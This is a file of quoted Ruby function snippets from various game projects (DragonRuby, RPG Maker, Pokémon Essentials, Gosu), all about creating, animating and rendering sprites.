"def render_enemy_bullet args\n args.outputs.sprites << {\n x: args.state.enemy_bullet_x,\n y: args.state.enemy_bullet_y,\n w: args.state.enemy_bullet_w,\n h: args.state.enemy_bullet_h,\n path: 'sprites/square/orange.png'\n }\nend",
"def sprite(filename)\n _still(filename, false)\n end",
"def create_weapon_show (mirror, x, y, z, angle)\n @spr = Sprite.new\n @spr.bitmap = Cache.character(FalInt::GunSnipe) \n dx = ($game_map.adjust_x($game_player.x)*32 ) + x\n dy = ($game_map.adjust_y($game_player.y)*32 ) + y \n @spr.x = dx \n @spr.y = dy \n @spr.z = z \n @spr.angle = angle \n @spr.mirror = mirror\n @spr.src_rect = Rect.new( 0 , 0 , 29, 10) \n end",
"def change_sprite(id, shiny=nil, animation=nil, form=nil)\n events=$PokemonGlobal.dependentEvents\n for i in 0...events.length\n if events[i] && events[i][8]==\"Dependent\"\n if shiny==true\n events[i][6]=sprintf(\"%03ds\",id)\n if FileTest.image_exist?(\"Graphics/Characters/\"+events[i][6])\n @realEvents[i].character_name=sprintf(\"%03ds\",id)\n else\n events[i][6]=sprintf(\"%03d\",id)\n @realEvents[i].character_name=sprintf(\"%03d\",id)\n end\n else\n if $Trainer.party[0].form>0\n events[i][6]=sprintf(\"%03d\",id)\n @realEvents[i].character_name=sprintf(\"%03d_%d\",id,$Trainer.party[0].form)\n else\n events[i][6]=sprintf(\"%03d\",id)\n @realEvents[i].character_name=sprintf(\"%03d\",id)\n end\n end\n if animation==true\n $scene.spriteset.addUserAnimation(Animation_Come_Out,@realEvents[i].x,@realEvents[i].y)\n end\n $game_variables[Walking_Time_Variable]=0\n end\n end\n end",
"def create_action_sprites(width2)\n add_text_args = []\n\n sp = @sprites.push(width2, 25, 'GTS/Pokemon_bar')\n sp.x -= sp.width / 2\n add_text_args << [sp.x + sp.width / 2 - 2, sp.y + 1, 0, 16, ext_text(8997, 20), 2]\n sp = @sprites.push(width2, 55, 'GTS/Gender_bar')\n sp.x -= sp.width / 2\n add_text_args << [sp.x + sp.width / 2 - 2, sp.y + 1, 0, 16, ext_text(8997, 21), 2]\n sp = @sprites.push(width2, 85, 'GTS/Level_bar')\n sp.x -= sp.width / 2\n add_text_args << [sp.x + sp.width / 2 - 2, sp.y + 1, 0, 16, ext_text(8997, 22), 2]\n sp = @sprites.push(width2, 115, 'GTS/Search_bar')\n sp.x -= sp.width / 2\n add_text_args << [sp.x, sp.y + 1, sp.width, 16, ext_text(8997, 23), 1]\n @sprites.push_sprite(Button.new(@viewport, width2, 145, ext_text(8997, 24)))\n\n add_text_args.each { |args| @sprites.add_text(*args) }\n\n @texts = Array.new(3) do |i|\n @sprites.add_text(add_text_args[i][0] + 8 + (i == 0 ? 10 : 0), add_text_args[i][1], 0, 16, '')\n end\n end",
"def main_spriteset ; end",
"def create_new_sprite\n @item_window.take\n sprite = Forged_Sprite.new(@viewport)\n sprite.bitmap = @bitmap\n sprite.x = @item_window.x + @item_window.padding\n sprite.y = @item_window.y + @item_window.padding\n sprite.flash(Color::WHITE, 10)\n sprite.spark_active = true\n @sprites.push(sprite)\n end",
"def how_to_animate_a_sprite_sheet args\n # STEP 1: Define when you want the animation to start. The animation in this case will start in 3 seconds\n start_animation_on_tick = 180\n\n # STEP 2: Get the frame_index given the start tick.\n sprite_index = start_animation_on_tick.frame_index count: 7, # how many sprites?\n hold_for: 8, # how long to hold each sprite?\n repeat: true # should it repeat?\n\n # STEP 3: frame_index will return nil if the frame hasn't arrived yet\n if sprite_index\n # if the sprite_index is populated, use it to determine the source rectangle and render it\n args.nokia.sprites << {\n x: 42 - 16,\n y: 47 - 32,\n w: 32,\n h: 32,\n path: \"sprites/explosion-sheet.png\",\n source_x: 32 * sprite_index,\n source_y: 0,\n source_w: 32,\n source_h: 32\n }\n else\n # if the sprite_index is nil, render a countdown instead\n countdown_in_seconds = ((start_animation_on_tick - args.state.tick_count) / 60).round(1)\n\n args.nokia.labels << args.nokia\n .default_label\n .merge(x: 0,\n y: 18,\n text: \"Count Down: #{countdown_in_seconds.to_sf}\",\n alignment_enum: 0)\n end\n\n # render the current tick and the resolved sprite index\n args.nokia.labels << args.nokia\n .default_label\n .merge(x: 0,\n y: 11,\n text: \"tick: #{args.state.tick_count}\")\n args.nokia.labels << args.nokia\n .default_label\n .merge(x: 0,\n y: 5,\n text: \"sprite_index: #{sprite_index}\")\nend",
"def create_egg_sprite\n @egg_sprite = Sprite::WithColor.new(@viewport).set_bitmap(@egg.battler_face)\n @egg_sprite.set_position(@viewport.rect.width / 2, @viewport.rect.height / 2)\n @egg_sprite.set_origin_div(2, 1)\n @egg_sprite.set_color(@egg_color = Color.new(255, 180, 0, 0))\n end",
"def create_background_sprite\n # create background sprite\n @background = Sprite.new(@v)\n create_background_bitmap\n end",
"def create_bitmap\n @sprite.x, @sprite.y = @x - text_width + 4, @y\n sw = Font.default_size * @info.size / 2\n sw += 25 if @icon_id > 0\n line_height = 24\n @sprite.bitmap = Bitmap.new(sw, line_height)\n if @icon_id > 0\n rect = Rect.new(@icon_id % 16 * 24, @icon_id / 16 * 24, 24, 24)\n @sprite.bitmap.blt(0, 0, Cache.iconset, rect)\n end\n @sprite.bitmap.font.color.set(@color)\n @sprite.bitmap.draw_text(@icon_id > 0 ? 25 : 0, 0, sw, line_height, @info)\n end",
"def render_player_bullet args\n args.outputs.sprites << {\n x: args.state.player_bullet_x,\n y: args.state.player_bullet_y,\n w: args.state.player_bullet_w,\n h: args.state.player_bullet_h,\n path: 'sprites/square/blue.png'\n }\nend",
"def create_spriteset_and_background\n super('GTS')\n end",
"def SS0_1 args\r\n\targs.state.tick_timer ||= args.state.tick_count\r\n\r\n\targs.outputs.sprites << [0, 0, 1280, 720, \"sprites/Intro-Background-1.png\"]\r\n\r\n\tif args.state.tick_count >= (args.state.tick_timer + 60) && args.state.tick_count < (args.state.tick_timer + 68)\r\n\t\targs.outputs.sprites << [0, 0, 1280, 720, \"sprites/Intro-Background-2.png\"]\r\n\tend\r\n\r\n\tif args.state.tick_count >= (args.state.tick_timer + 83) && args.state.tick_count < (args.state.tick_timer + 91)\r\n\t\targs.outputs.sprites << [0, 0, 1280, 720, \"sprites/Intro-Background-3.png\"]\r\n\tend\r\n\r\n\r\n\t#After moving characters finished, transition to SS0_2\r\n\tif args.state.tick_count >= (args.state.tick_timer + 160)\r\n\t\targs.state.tick_timer = nil\r\n\t\targs.state.screen_select = 0.2\r\n\tend\r\nend",
"def create_arrow\n @arrow = @stack.add_sprite(127, 0, 'arrow')\n end",
"def init_actorsprites\r\n # Make actor sprites\r\n @actor_sprites = []\r\n @actor_sprites.push(Sprite_Battler.new(@viewport2))\r\n @actor_sprites.push(Sprite_Battler.new(@viewport2))\r\n @actor_sprites.push(Sprite_Battler.new(@viewport2))\r\n @actor_sprites.push(Sprite_Battler.new(@viewport2))\r\n end",
"def setup_pose\n return unless PONY::ERRNO.check_sequence(current_act)\n @battler_index = @acts[1]\n @anim_cell = @acts[2]\n if @anim_cell.is_a?(Array)\n row = (@anim_cell[0] - 1) * MaxRow\n col = @anim_cell[1] - 1\n @anim_cell = row + col\n end\n @icon_key = @acts[4] if @acts[4] # Icon call\n @icon_key = @acts[5] if @acts[5] && flip # Icon call\n end",
"def create_actors\n @actor_sprites = Array.new($game_party.max_battle_members) do \n Sprite_Battler.new(@viewport1)\n end\n end",
"def create_actors\n @actor_sprites = []\n @actor_sprites.push(Sprite_Battler.new(@viewport1))\n @actor_sprites.push(Sprite_Battler.new(@viewport1))\n @actor_sprites.push(Sprite_Battler.new(@viewport1))\n @actor_sprites.push(Sprite_Battler.new(@viewport1))\n end",
"def init_timer\r\n # Make timer sprite\r\n @timer_sprite = Sprite_Timer.new\r\n end",
"def create_signal_picture\n @segnal = Sprite.new(@viewport)\n @segnal.bitmap = Cache.picture(MAP_SIGNAL)\n center(@segnal)\n @segnal.opacity = 0\n end",
"def animation_set_sprites(frame)\n cell_data = frame.cell_data\n @ani_sprites.each_with_index do |sprite, i|\n next unless sprite\n pattern = cell_data[i, 0]\n if !pattern || pattern < 0\n sprite.visible = false\n next\n end\n sprite.bitmap = pattern < 100 ? @ani_bitmap1 : @ani_bitmap2\n sprite.visible = true\n sprite.src_rect.set(pattern % 5 * 192,\n pattern % 100 / 5 * 192, 192, 192)\n zoom = (camera_animation_zoom? ? $tsbs_camera.zoom : 1.0)\n if @ani_mirror\n sprite.x = @ani_ox - (cell_data[i, 1] * zoom)\n sprite.y = @ani_oy + (cell_data[i, 2] * zoom)\n sprite.angle = (360 - cell_data[i, 4])\n sprite.mirror = (cell_data[i, 5] == 0)\n else\n sprite.x = @ani_ox + (cell_data[i, 1] * zoom)\n sprite.y = @ani_oy + (cell_data[i, 2] * zoom)\n sprite.angle = cell_data[i, 4]\n sprite.mirror = (cell_data[i, 5] == 1)\n end\n sprite.z = self.z + 1 #+ i\n sprite.ox = 96\n sprite.oy = 96\n sprite.zoom_x = (cell_data[i, 3] / 100.0) * zoom\n sprite.zoom_y = (cell_data[i, 3] / 100.0) * zoom\n sprite.opacity = cell_data[i, 6] * @spr_battler.opacity / 255.0\n sprite.blend_type = cell_data[i, 7]\n end\n end",
"def create_transition_image\n texture = @player.textureFromNode(@player.scene)\n SKSpriteNode.spriteNodeWithTexture(texture).tap do |node|\n node.size = @player.scene.size\n node.position = CGPoint.new(node.size.width / 2.0, node.size.height / 2.0)\n node.zPosition = 10_000\n node.runAction(SKAction.sequence([\n SKAction.fadeOutWithDuration(0.75),\n SKAction.removeFromParent,\n SKAction.runBlock(-> {node.texture = nil})\n ]))\n end\n end",
"def didMoveToView _\n # Set the aspect ratio.\n self.scaleMode = SKSceneScaleModeAspectFit\n\n # Set the background color to white.\n self.backgroundColor = UIColor.whiteColor\n\n # Add instructions for this scene.\n add_label <<-HERE\n This is scene two. This scene shows a spinning sprite.\n\n The sprite code is located in the add_sprite method in scene_two.rb file. Take a look at it. Be sure to read all the comments in the file.\n\n Once you're done reading the code. Tap anywhere to go to the next scene.\n HERE\n\n # Add sprite (which will be updated in the render loop).\n # Assets are located inside of the resources folder.\n @square = add_sprite device_screen_width.fdiv(2),\n device_screen_height.fdiv(2),\n 'square.png'\n end",
"def draw\n @running = @body.v.x.abs >= 1\n\n unless @running or @attacking #set idle sprite unless they're running or attacking\n if @direction == :left\n @sprite = @sprite_left\n else\n @sprite = @sprite_right\n end\n end\n \n if @dmg_cooldown > 0 && @direction == :right \n @sprite = @sprite_damage\n elsif @dmg_cooldown > 0 && @direction == :left\n @sprite = @sprite_damage_left\n end\n if @dead\n @sprite = Gosu::Image.new(\"assets/images/player/death.png\")\n end\n super\n end",
"def initialize(x=0, y=0, type=nil)\n @x = 0\n @y = 0\n @z = 0\n @image = nil\n @blending = :default\n @alpha = 1.0\n @angle = 0\n @index = 0\n @radius = 0\n @size = 1.0\n \n @die = false\n \n # Adds this new sprite to its sprite list\n Game.sprite_collection.add(self) \n end",
"def animation_set_sprites(frame)\n cell_data = frame.cell_data\n @ani_sprites.each_with_index do |sprite, i|\n next unless sprite\n pattern = cell_data[i, 0]\n if !pattern || pattern < 0\n sprite.visible = false\n next\n end\n sprite.bitmap = pattern < 100 ? @ani_bitmap1 : @ani_bitmap2\n sprite.visible = true\n sprite.src_rect.set(pattern % 5 * 192,\n pattern % 100 / 5 * 192, 192, 192)\n zoom = (camera_animation_zoom? ? $tsbs_camera.zoom : 1.0)\n if @ani_mirror\n sprite.x = @ani_ox - (cell_data[i, 1] * zoom)\n sprite.y = @ani_oy + (cell_data[i, 2] * zoom)\n sprite.angle = (360 - cell_data[i, 4])\n sprite.mirror = (cell_data[i, 5] == 0)\n else\n sprite.x = @ani_ox + (cell_data[i, 1] * zoom)\n sprite.y = @ani_oy + (cell_data[i, 2] * zoom)\n sprite.angle = cell_data[i, 4]\n sprite.mirror = (cell_data[i, 5] == 1)\n end\n sprite.z = self.z + (anim_behind? ? -16 : 1)\n sprite.ox = 96\n sprite.oy = 96\n sprite.zoom_x = (cell_data[i, 3] / 100.0) * zoom\n sprite.zoom_y = (cell_data[i, 3] / 100.0) * zoom\n sprite.opacity = cell_data[i, 6] * @spr_battler.opacity / 255.0\n sprite.blend_type = cell_data[i, 7]\n end\n end",
"def initialize(type)\n super()\n @type = type\n case @type\n when 1\n @image = Gosu::Image['/spaceship/Enemy1.png']\n @zorder = -10\n @count = 1\n @health = 1\n when 2\n @image = Gosu::Image['/spaceship/MiniBoss1.png']\n @zorder = -20\n @count = 3\n @health = 5\n when 3\n @image = Gosu::Image['/spaceship/Boss1.png']\n @zorder = -30\n @count = 5\n @health = 10\n $boss = true\n end\n @angle = 180\n @x = $window.width + @image.width\n @y = rand(0..$window.height)\n end",
"def setup_cast\n self.animation_id = @acts[1] || item_in_use.animation_id\n self.animation_mirror = (@acts[2].nil? ? flip : @acts[2])\n sprite.setup_new_animation\n end",
"def create_sprites\n # Put bitmaps in cache\n cache_back_bmp = RPG::Cache.windowskin(image_filename('background'))\n cache_up_bmp = RPG::Cache.windowskin(image_filename('up'))\n cache_down_bmp = RPG::Cache.windowskin(image_filename('down'))\n cache_bar_bmp = RPG::Cache.windowskin(image_filename('slider'))\n # Create the background\n size = @size - (cache_down_bmp.height + cache_up_bmp.height) / 2\n create_background(cache_back_bmp, size)\n # Create the up button\n create_button_up(cache_up_bmp)\n # Create the down button\n create_button_down(cache_down_bmp)\n # Create the slider button\n create_button_slider(cache_bar_bmp)\n # Repositionning the sprites\n @direction.reset_sprites_position(\n @background_sprite,\n @button_down_sprite,\n @button_up_sprite,\n @button_slider_sprite,\n @position,\n @target,\n @size,\n @display_offset,\n @viewport\n )\n end",
"def add_event_sprite(event)\n @spriteset.add_event_sprite(event)\n end",
"def register_basic_sprite(name, w, h, &block)\n sprite = Zif::Sprite.new(name)\n sprite.assign(\n {\n w: w,\n h: h,\n path: \"sprites/#{name}.png\",\n angle: 0,\n a: 255,\n r: 255,\n g: 255,\n b: 255,\n source_x: 0,\n source_y: 0,\n source_w: w,\n source_h: h\n }\n )\n\n sprite.on_mouse_up = block if block_given?\n\n add_sprite(name, sprite)\n end",
"def init_enemysprites\r\n # Make enemy sprites\r\n @enemy_sprites = []\r\n for enemy in $game_troop.enemies.reverse\r\n @enemy_sprites.push(Sprite_Battler.new(@viewport1, enemy))\r\n end\r\n end",
"def add_first_mate\n @player3 = Cruiser.new self, 0x990000ff\n @player3.warp_to 400, 400\n \n @controls << Controls.new(self, @player3,\n Gosu::Button::KbLeft => :left,\n Gosu::Button::KbRight => :right,\n Gosu::Button::KbUp => :full_speed_ahead,\n Gosu::Button::KbDown => :reverse,\n Gosu::Button::Kb0 => :revive\n )\n \n @players << @player3\n \n register @player3\n end",
"def get_sprite(sprite_id:) @sprite_handler.sprite(sprite_id:sprite_id) end",
"def create_character_sprite\n if @character.is_a?(PFM::Pokemon)\n @character_sprite = PokemonIconSprite.new(self, false)\n @character_sprite.data = @character\n elsif @character.is_a?(String)\n @character_sprite = Sprite.new(self)\n @character_sprite.set_bitmap(@character, :character)\n @character_sprite.src_rect.set(nil, nil, @character_sprite.width / 4, @character_sprite.height / 4)\n else\n return\n end\n @character_sprite.set_position(*character_sprite_position)\n @character_sprite.set_origin(@character_sprite.width / 2, @character_sprite.height)\n end",
"def use_sprite?\n return true\n end",
"def create_save_info\n @info = Bitmap.new(Graphics.width-10, HEIGHT)\n @info_rect = Sprite.new(@viewport)\n @info_rect.bitmap = @info\n @info_rect.ox = -5#165\n end",
"def add_event_sprite(event)\n sp = Sprite_Character.new(@viewport1, event)\n @character_sprites.push(sp)\n end",
"def img_path() \"#{$dir}/sprites.gif\"; end",
"def tick_main_sequence\n @avatar.assign(@tileset.sprite_for(@avatar.cur_tile)) if @avatar.tick\n @camera.start_following(@avatar) if @avatar.walking\n @avatar.reposition(*@camera.follow)\n @map.change_tiles(*@camera.pos)\n end",
"def how_to_render_sprites args\n # Loop 10 times and create 10 sprites in 10 positions\n # Render a sprite at the bottom left with a width and height of 5 and a path of 'sprites/monochrome-ship.png'\n 10.times do |i|\n args.nokia.sprites << {\n x: i * 8.4,\n y: i * 4.8,\n w: 5,\n h: 5,\n path: 'sprites/monochrome-ship.png'\n }\n end\n\n # Given an array of positions create sprites\n positions = [\n { x: 20, y: 32 },\n { x: 45, y: 15 },\n { x: 72, y: 23 },\n ]\n\n positions.each do |position|\n # use Ruby's ~Hash#merge~ function to create a sprite\n args.nokia.sprites << position.merge(path: 'sprites/monochrome-ship.png',\n w: 5,\n h: 5)\n end\nend",
"def create_pokemon_sprite\n if ENABLE_GIF && (@pokemon_gif = @pokemon.gif_face)\n add_disposable bitmap = Bitmap.new(@pokemon_gif.width, @pokemon_gif.height)\n @pokemon_gif&.update(bitmap)\n end\n @pokemon_sprite = Sprite::WithColor.new(@viewport).set_bitmap(bitmap || @pokemon.battler_face)\n @pokemon_sprite.set_position(@viewport.rect.width / 2, @viewport.rect.height / 2)\n @pokemon_sprite.set_origin_div(2, 1)\n @pokemon_sprite.set_color(@pokemon_color = Color.new(255, 255, 255, MAX_POKEMON_ALPHA))\n @pokemon_sprite.visible = false\n end",
"def SS0_2 args\r\n\t#args.outputs.sprites << [0, 0, 1280, 720, \"sprites/Intro-Background-4.png\"]\r\n\targs.outputs.sprites << [0, 0, 1280, 720, \"sprites/Intro-Background-4-Plain.png\"]\r\n\r\n\t# 1. When to start the animation.\r\n\tstart_looping_at = 0\r\n\r\n\t# 2. The number of pngs that represent the full animation.\r\n\tnumber_of_sprites = 16\r\n\r\n\t# 3. How long to show each png.\r\n\tnumber_of_frames_to_show_each_sprite = 3\r\n\r\n\t# 4. Whether the animation should loop once, or forever.\r\n\tdoes_sprite_loop = true\r\n\r\n\t# Sprite index for lightning\r\n\tsprite_index = start_looping_at.frame_index number_of_sprites, number_of_frames_to_show_each_sprite, does_sprite_loop\r\n\r\n\t# Now that we have `sprite_index, we can present the correct file.\r\n\targs.outputs.sprites << [0, 0, 1280, 720, \"sprites/divider_sprite/Divider-#{sprite_index}.png\"]\r\n\r\n\r\n\t#Outputs text\r\n\targs.outputs.sprites << [0, 0, 1280, 720, \"sprites/Characters-Intro.png\"]\r\n\targs.outputs.sprites << [560, 50, 150, 100, \"sprites/Start-Intro.png\"]\r\n\t\r\n\r\n\t#Set roll button position\r\n\tstartButton = [560, 50, 150, 100, 0, 0, 0, 255]\r\n\targs.outputs.borders << startButton\r\n\r\n\t#Saves last mouse click data\r\n\tif args.inputs.mouse.click\r\n\t\targs.state.last_mouse_click = args.inputs.mouse.click\r\n\t\targs.state.pos = args.inputs.mouse.position\r\n\tend\r\n\t\r\n\t#If roll button clicked, transitions to SS1_1\r\n\tif args.state.pos.inside_rect? startButton\r\n\t\targs.state.last_mouse_click = nil\r\n\t\targs.state.pos = nil\r\n\t\targs.state.screen_select = 1.1\r\n\tend\r\nend",
"def create_spriteset\n @spriteset = Spriteset_GFishing.new\n end",
"def create_object_position\n @location = Sprite.new\n @location.bitmap = Cache.picture(LOCATION_PICTURE)\n center_im(@location)\n @location.z = 16\n @circlel = Sprite.new\n @circlel.tone.set(255, 0, 0)\n @circlel.blend_type = 1\n @circlel.bitmap = Cache.picture(CIRCLE_PICTURE)\n center_im(@circlel)\n @circlel.z = 16\n place_object\n end",
"def evilTeam(viewport = nil, trainerid = -1)\n @viewport = viewport if !@viewport && !viewport.nil?\n @sprites = {} if !@sprites\n @viewport.color = Color.new(0, 0, 0, 0)\n # fades viewport to black\n 8.delta_add.times do\n @viewport.color.alpha += 32/self.delta\n pbWait(1)\n end\n @viewport.color.alpha = 255\n bitmaps = [\n \"Graphics/EBDX/Transitions/EvilTeam/background\",\n \"Graphics/EBDX/Transitions/EvilTeam/swirl\",\n \"Graphics/EBDX/Transitions/EvilTeam/ray0\",\n \"Graphics/EBDX/Transitions/EvilTeam/ray1\",\n \"Graphics/EBDX/Transitions/EvilTeam/logo0\",\n \"Graphics/EBDX/Transitions/EvilTeam/logo1\",\n \"Graphics/EBDX/Transitions/EvilTeam/ring0\",\n \"Graphics/EBDX/Transitions/EvilTeam/ring1\"\n ]\n # try resolve the bitmaps\n bitmaps = checkForTrainerVariant(bitmaps, GameData::TrainerType.get(trainerid))\n # creates background graphic\n @sprites[\"bg\"] = Sprite.new(@viewport)\n @sprites[\"bg\"].bitmap = pbBitmap(bitmaps[0])\n @sprites[\"bg\"].color = Color.black\n # creates background swirl\n @sprites[\"bg2\"] = Sprite.new(@viewport)\n @sprites[\"bg2\"].bitmap = pbBitmap(bitmaps[1])\n @sprites[\"bg2\"].ox = @sprites[\"bg2\"].bitmap.width/2\n @sprites[\"bg2\"].oy = @sprites[\"bg2\"].bitmap.height/2\n @sprites[\"bg2\"].x = @viewport.width/2\n @sprites[\"bg2\"].y = @viewport.height/2\n @sprites[\"bg2\"].visible = false\n # sets up all particles\n speed = []\n for j in 0...16\n @sprites[\"e1_#{j}\"] = Sprite.new(@viewport)\n bmp = pbBitmap(bitmaps[2])\n @sprites[\"e1_#{j}\"].bitmap = Bitmap.new(bmp.width,bmp.height)\n w = bmp.width/(1 + rand(3))\n @sprites[\"e1_#{j}\"].bitmap.stretch_blt(Rect.new(0,0,w,bmp.height),bmp,Rect.new(0,0,bmp.width,bmp.height))\n @sprites[\"e1_#{j}\"].oy = @sprites[\"e1_#{j}\"].bitmap.height/2\n @sprites[\"e1_#{j}\"].angle = rand(360)\n @sprites[\"e1_#{j}\"].opacity = 0\n @sprites[\"e1_#{j}\"].x = @viewport.width/2\n @sprites[\"e1_#{j}\"].y = @viewport.height/2\n speed.push(4 + rand(5))\n end\n # creates logo\n @sprites[\"logo\"] = Sprite.new(@viewport)\n @sprites[\"logo\"].bitmap = pbBitmap(bitmaps[4])\n @sprites[\"logo\"].ox = @sprites[\"logo\"].bitmap.width/2\n @sprites[\"logo\"].oy = @sprites[\"logo\"].bitmap.height/2\n @sprites[\"logo\"].x = @viewport.width/2\n @sprites[\"logo\"].y = @viewport.height/2\n @sprites[\"logo\"].memorize_bitmap\n @sprites[\"logo\"].bitmap = pbBitmap(bitmaps[5])\n @sprites[\"logo\"].zoom_x = 2\n @sprites[\"logo\"].zoom_y = 2\n @sprites[\"logo\"].z = 50\n # creates flash ring graphic\n @sprites[\"ring\"] = Sprite.new(@viewport)\n @sprites[\"ring\"].bitmap = pbBitmap(bitmaps[6])\n @sprites[\"ring\"].ox = @sprites[\"ring\"].bitmap.width/2\n @sprites[\"ring\"].oy = @sprites[\"ring\"].bitmap.height/2\n @sprites[\"ring\"].x = @viewport.width/2\n @sprites[\"ring\"].y = @viewport.height/2\n @sprites[\"ring\"].zoom_x = 0\n @sprites[\"ring\"].zoom_y = 0\n @sprites[\"ring\"].z = 100\n # creates secondary particles\n for j in 0...32\n @sprites[\"e2_#{j}\"] = Sprite.new(@viewport)\n bmp = pbBitmap(bitmaps[3])\n @sprites[\"e2_#{j}\"].bitmap = bmp\n @sprites[\"e2_#{j}\"].oy = @sprites[\"e2_#{j}\"].bitmap.height/2\n @sprites[\"e2_#{j}\"].angle = rand(360)\n @sprites[\"e2_#{j}\"].opacity = 0\n @sprites[\"e2_#{j}\"].x = @viewport.width/2\n @sprites[\"e2_#{j}\"].y = @viewport.height/2\n @sprites[\"e2_#{j}\"].z = 100\n end\n # creates secondary flash ring\n @sprites[\"ring2\"] = Sprite.new(@viewport)\n @sprites[\"ring2\"].bitmap = pbBitmap(bitmaps[7])\n @sprites[\"ring2\"].ox = @sprites[\"ring2\"].bitmap.width/2\n @sprites[\"ring2\"].oy = @sprites[\"ring2\"].bitmap.height/2\n @sprites[\"ring2\"].x = @viewport.width/2\n @sprites[\"ring2\"].y = @viewport.height/2\n @sprites[\"ring2\"].visible = false\n @sprites[\"ring2\"].zoom_x = 0\n @sprites[\"ring2\"].zoom_y = 0\n @sprites[\"ring2\"].z = 100\n # first phase of animation\n for i in 0...32.delta_add\n @viewport.color.alpha -= 8/self.delta if @viewport.color.alpha > 0\n @sprites[\"logo\"].zoom_x -= (1/32.0)/self.delta\n @sprites[\"logo\"].zoom_y -= (1/32.0)/self.delta\n for j in 0...16\n next if j > i/4.delta_add\n if @sprites[\"e1_#{j}\"].ox < -(@viewport.width/2)\n speed[j] = 4 + rand(5)\n @sprites[\"e1_#{j}\"].opacity = 0\n @sprites[\"e1_#{j}\"].ox = 0\n @sprites[\"e1_#{j}\"].angle = rand(360)\n bmp = pbBitmap(bitmaps[3])\n @sprites[\"e1_#{j}\"].bitmap.clear\n w = bmp.width/(1 + rand(3))\n @sprites[\"e1_#{j}\"].bitmap.stretch_blt(Rect.new(0,0,w,bmp.height),bmp,Rect.new(0,0,bmp.width,bmp.height))\n end\n @sprites[\"e1_#{j}\"].opacity += speed[j]/self.delta\n @sprites[\"e1_#{j}\"].ox -= [1, speed[j]/self.delta].max\n end\n pbWait(1)\n end\n # configures logo graphic\n @sprites[\"logo\"].color = Color.white\n @sprites[\"logo\"].restore_bitmap\n @sprites[\"ring2\"].visible = true\n @sprites[\"bg2\"].visible = true\n @viewport.color = Color.white\n # final animation of background and particles\n for i in 0...144.delta_add\n if i >= 128.delta_add\n @viewport.color.alpha += 16/self.delta\n else\n @viewport.color.alpha -= 16/self.delta if @viewport.color.alpha > 0\n end\n @sprites[\"logo\"].color.alpha -= 16/self.delta if @sprites[\"logo\"].color.alpha > 0\n @sprites[\"bg\"].color.alpha -= 8/self.delta if @sprites[\"bg\"].color.alpha > 0\n for j in 0...16\n if @sprites[\"e1_#{j}\"].ox < -(@viewport.width/2)\n speed[j] = 4 + rand(5)\n @sprites[\"e1_#{j}\"].opacity = 0\n @sprites[\"e1_#{j}\"].ox = 0\n @sprites[\"e1_#{j}\"].angle = rand(360)\n bmp = pbBitmap(bitmaps[2])\n @sprites[\"e1_#{j}\"].bitmap.clear\n w = bmp.width/(1 + rand(3))\n @sprites[\"e1_#{j}\"].bitmap.stretch_blt(Rect.new(0,0,w,bmp.height),bmp,Rect.new(0,0,bmp.width,bmp.height))\n end\n @sprites[\"e1_#{j}\"].opacity += speed[j]/self.delta\n @sprites[\"e1_#{j}\"].ox -= [1, speed[j]/self.delta].max\n end\n for j in 0...32\n next if j > (i*2).delta_add\n @sprites[\"e2_#{j}\"].ox -= 16/self.delta\n @sprites[\"e2_#{j}\"].opacity += 16/self.delta\n end\n @sprites[\"ring\"].zoom_x += 0.1/self.delta\n @sprites[\"ring\"].zoom_y += 0.1/self.delta\n @sprites[\"ring\"].opacity -= 8/self.delta\n @sprites[\"ring2\"].zoom_x += 0.2/self.delta if @sprites[\"ring2\"].zoom_x < 3\n @sprites[\"ring2\"].zoom_y += 0.2/self.delta if @sprites[\"ring2\"].zoom_y < 3\n @sprites[\"ring2\"].opacity -= 16/self.delta\n @sprites[\"bg2\"].angle += 2/self.delta if $PokemonSystem.screensize < 2\n pbWait(1)\n end\n # disposes all sprites\n pbDisposeSpriteHash(@sprites)\n # fades viewport\n 8.delta_add.times do\n @viewport.color.red -= (255/8.0)/self.delta\n @viewport.color.green -= (255/8.0)/self.delta\n @viewport.color.blue -= (255/8.0)/self.delta\n pbWait(1)\n end\n @viewport.color = Color.black\n EliteBattle.set(:colorAlpha, 255)\n return true\n end",
"def update_creation\n return if @number == 0\n @counter += 1\n if @counter >= @frequency\n create_new_sprite\n play_sound\n @counter = 0\n @number -= 1\n end\n end",
"def refresh_sprite\n if $Trainer.party.length!=$game_variables[Current_Following_Variable]\n if $Trainer.party[0].isShiny?\n shiny=true\n else\n shiny=false\n end\n if $Trainer.party[0].form>0\n form=$Trainer.party[0].form\n else\n form=nil\n end\n if $Trainer.party[0].hp>0 && !$Trainer.party[0].egg?\n events=$PokemonGlobal.dependentEvents\n for i in 0...events.length\n $scene.spriteset.addUserAnimation(Animation_Come_Out,@realEvents[i].x,@realEvents[i].y)\n pbWait(10)\n end\n change_sprite($Trainer.party[0].species, shiny, false, form)\n elsif $Trainer.party[0].hp<=0 \n remove_sprite\n end\n end\n end",
"def command_forge\n make_item\n play_animation\n end",
"def create_empty_info\n @info_rect = Sprite.new(@viewport)\n @info_rect.bitmap = @info\n #@info_rect.ox = -165\n end",
"def set_character_bitmap\n @character_anim = @character.animated? \n set_bitmap\n end",
"def how_to_move_a_sprite args\n args.nokia.labels << args.nokia\n .default_label\n .merge(x: 42,\n y: 46, text: \"Use Arrow Keys\",\n alignment_enum: 1)\n\n args.nokia.labels << args.nokia\n .default_label\n .merge(x: 42,\n y: 41, text: \"Or WASD\",\n alignment_enum: 1)\n\n args.nokia.labels << args.nokia\n .default_label\n .merge(x: 42,\n y: 36, text: \"Or Click\",\n alignment_enum: 1)\n\n # set the initial values for x and y using ||= (\"or equal operator\")\n args.state.ship.x ||= 0\n args.state.ship.y ||= 0\n\n # if a mouse click occurs, update the ship's x and y to be the location of the click\n if args.nokia.mouse_click\n args.state.ship.x = args.nokia.mouse_click.x\n args.state.ship.y = args.nokia.mouse_click.y\n end\n\n # if a or left arrow is pressed/held, decrement the ships x position\n if args.nokia.keyboard.left\n args.state.ship.x -= 1\n end\n\n # if d or right arrow is pressed/held, increment the ships x position\n if args.nokia.keyboard.right\n args.state.ship.x += 1\n end\n\n # if s or down arrow is pressed/held, decrement the ships y position\n if args.nokia.keyboard.down\n args.state.ship.y -= 1\n end\n\n # if w or up arrow is pressed/held, increment the ships y position\n if args.nokia.keyboard.up\n args.state.ship.y += 1\n end\n\n # render the sprite to the screen using the position stored in args.state.ship\n args.nokia.sprites << {\n x: args.state.ship.x,\n y: args.state.ship.y,\n w: 5,\n h: 5,\n path: 'sprites/monochrome-ship.png',\n # parameters beyond this point are optional\n angle: 0, # Note: rotation angle is denoted in degrees NOT radians\n r: 255,\n g: 255,\n b: 255,\n a: 255\n }\nend",
